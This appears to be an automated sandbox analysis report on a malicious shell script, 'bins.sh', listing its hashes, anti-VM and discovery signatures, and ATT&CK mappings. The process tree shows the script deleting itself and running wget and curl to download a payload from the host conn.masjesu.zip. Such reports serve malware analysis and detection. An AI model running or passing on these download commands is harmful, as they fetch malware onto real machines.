641bfa6fb04b615de3424c5c914833a0928fd5c9df883aec915c102ad85b48bc

Analysis

max time kernel
150s
max time network
12s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-12-2024 13:45

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General

Target

bins.sh
Size

10KB
MD5

b7efdb6411845379ea3e0068e4024978
SHA1

84d6dc35c3a3bf37878895192e863bad21231e36
SHA256

641bfa6fb04b615de3424c5c914833a0928fd5c9df883aec915c102ad85b48bc
SHA512

7a70881e139c4e468f8272002cd1c78fc03f50b7becd58a08ca44c692be4b6ec853046780c0a07ba4bdc1f7fc7affce4f4d186c5f3aafe553db2bb639bbd14b1
SSDEEP

192:9FOQlBXQhxBh0fjsbXzCtFYTHAw0XzCtFwTHhkOQlBsnBh0fj6:9FOQlpQhxBh0fjsbXzCtFYTHAw0XzCtg

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurl

pid	Process
676	wget
682	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:668
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:674
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - System Network Configuration Discovery
  PID:676
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:682

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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